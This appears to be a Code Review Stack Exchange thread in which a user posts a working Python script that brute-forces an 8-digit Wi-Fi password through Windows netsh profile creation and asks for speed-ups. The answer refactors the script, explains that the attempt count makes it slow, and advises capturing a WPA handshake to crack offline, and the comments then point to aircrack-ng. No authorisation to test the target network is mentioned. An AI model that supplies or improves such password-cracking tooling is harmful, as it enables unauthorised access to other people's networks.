2
\$\begingroup\$

I am working on my first brute force experiment and I modified code from this SO post but it is kinda slow. Are there any improvements I can make to make it run faster?

What the code basically does is loop through a range of possible 8 numerical combinations and input every possibility to try and connect to a Wi-Fi network and check if the password worked. Is there any way I can optimize it?

from itertools import product
import re
import os
import subprocess

# function to establish a new connection
def createNewConnection(name, SSID, password):
    config = """<?xml version=\"1.0\"?>
            <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
                <name>"""+name+"""</name>
                <SSIDConfig>
                    <SSID>
                        <name>"""+SSID+"""</name>
                    </SSID>
                </SSIDConfig>
                <connectionType>ESS</connectionType>
                <connectionMode>auto</connectionMode>
                <MSM>
                    <security>
                        <authEncryption>
                            <authentication>WPA2PSK</authentication>
                            <encryption>AES</encryption>
                            <useOneX>false</useOneX>
                        </authEncryption>
                        <sharedKey>
                            <keyType>passPhrase</keyType>
                            <protected>false</protected>
                            <keyMaterial>"""+password+"""</keyMaterial>
                        </sharedKey>
                    </security>
                </MSM>
            </WLANProfile>"""
    command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
    with open(name+".xml", 'w') as file:
        file.write(config)
    os.system(command)
 
# function to connect to a network   
def connect(name, SSID):
    command = "netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi"
    os.system(command)
 
# function to display avavilabe Wifi networks   
def displayAvailableNetworks():
    command = "netsh wlan show networks interface=Wi-Fi"
    os.system(command)

displayAvailableNetworks()

name = input("Name of Wi-Fi: ")

def raid():
    chars = '0123456789'

    for length in range(8, 9): 
        to_attempt = product(chars, repeat=length)
        for attempt in to_attempt:
            print(''.join(attempt))
            createNewConnection(name, name, ''.join(attempt))
            connect(name, name) 
            try: 
                if re.sub(' +', ' ', subprocess.check_output("Netsh WLAN show interfaces").decode('utf-8').split("SSID",1)[1].split("BSSID")[0].replace(':', '').replace('\n', '')) == name:
                    print('connected to: ' + name)
                    print('The wifi password is: ' + ''.join(attempt))
                    break
            except Exception:
                print('Not connected')

raid()
\$\endgroup\$
3
  • 3
    \$\begingroup\$ I came up with the following. Did you really? \$\endgroup\$
    – C.Nivs
    Nov 28, 2022 at 17:48
  • \$\begingroup\$ The reason it's slow is because of what was detailed in that question (where it appears you copied this code from). You are generating 1 billion+ requests. Even if they took .1 second each, you're looking at ~3 years of waiting in the worst case scenario \$\endgroup\$
    – C.Nivs
    Nov 28, 2022 at 17:53
  • 2
    \$\begingroup\$ @C.Nivs i worded it wrong what i meant is I found a similar method and made some changes to it. \$\endgroup\$
    – seriously
    Nov 29, 2022 at 15:27

1 Answer 1

5
\$\begingroup\$

String Formatting

You use a ton of string concatenation. Use f-strings if you are on python 3.6+:

config = f"""<?xml version=\"1.0\"?>
            <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
                <name>{name}</name>
                <SSIDConfig>
                    <SSID>
                        <name>{SSID}</name>
                    </SSID>
                </SSIDConfig>
                <connectionType>ESS</connectionType>
                <connectionMode>auto</connectionMode>
                <MSM>
                    <security>
                        <authEncryption>
                            <authentication>WPA2PSK</authentication>
                            <encryption>AES</encryption>
                            <useOneX>false</useOneX>
                        </authEncryption>
                        <sharedKey>
                            <keyType>passPhrase</keyType>
                            <protected>false</protected>
                            <keyMaterial>{password}</keyMaterial>
                        </sharedKey>
                    </security>
                </MSM>
            </WLANProfile>"""

with open(f"{name}.xml", 'w') as file:

os.system vs. subprocess

subprocess is much more flexible than os.system. It has a run method for simple shell commands, but if you need control over the creation of a brand new shell process, Popen is extremely useful. The easiest way to replace your os.system calls is with the equivalent subprocess.call method:

# this
def connect(name, SSID):
    command = f'netsh wlan connect name="{name}" ssid="{SSID}" interface=Wi-Fi'
    os.system(command)

# becomes this
def connect(name, SSID):
    # I've also replaced the double quotes to avoid escaping
    command = f'netsh wlan connect name="{name}" ssid="{SSID}" interface=Wi-Fi'
    _ = subprocess.call(command, shell=True)

Naming

Function names, like variable names, should be snake_case:

# this
displayAvailableNetworks

# should be this
display_available_networks

Long Lines

I hope to never have to maintain a single line like this:

if re.sub(' +', ' ', subprocess.check_output("Netsh WLAN show interfaces").decode('utf-8').split("SSID",1)[1].split("BSSID")[0].replace(':', '').replace('\n', '')) == name:

Let's break it up.

_, ssid = (
    subprocess
    .check_output("Netsh WLAN show interfaces")
    .decode('utf-8')
    .split("SSID",1)
)

bssid, _ = ssid.split("BSSID", 1)

network_name = re.sub(
    ' +', 
    ' ', 
    bssid.replace(':', '').replace('\n', '')
)

if network_name == name:
    # rest of code

The makes it easier to read what's going on.

Why is it slow?

Because you are doing a ton of attempts to connect to a wifi router. Just running the following code:

python -m timeit -s 'from string import digits; from itertools import product' 'sum(1 for _ in product(digits, repeat=8))'

Results in

1 loop, best of 5: 3.68 sec per loop

Or ~22s total. And that's the shorter set of permutations with no network calls. No matter how we improve the time spent concatenating strings or generating permutations, you are generating ~1,000,000,000 network calls worst-case. That is going to take a long time. For reference, 1 billion seconds is nearly 32 years.

If you really want to crack a password, the best way is to capture an authentication or handshake packet from a connecting device. This way, you are comparing generated passwords with that local packet. This eliminates the network call requirement, vastly increasing speed. There are plenty of tools and tutorials for this elsewhere, so I won't write one here.

Since the code originates from this question, check the answers there.

\$\endgroup\$
4
  • \$\begingroup\$ Thanks nice explanation! Does hashcat have the ability to capture a handshake key? Or should I be using something like aircrack-ng to sniff packets on the local network and work from there? \$\endgroup\$
    – seriously
    Nov 29, 2022 at 16:30
  • \$\begingroup\$ I'm most familiar with aircrack-ng, which definitely has this capability. I'd consult the hashcat docs to see \$\endgroup\$
    – C.Nivs
    Nov 29, 2022 at 16:32
  • \$\begingroup\$ do I have to purchase an external wifi adapter inorder to sniff packets with aircrack-ng I already have an intel wifi 6E AX211 wifi module on my laptop? \$\endgroup\$
    – seriously
    Nov 29, 2022 at 16:52
  • \$\begingroup\$ I don't think so \$\endgroup\$
    – C.Nivs
    Nov 30, 2022 at 17:31

Not the answer you're looking for? Browse other questions tagged or ask your own question.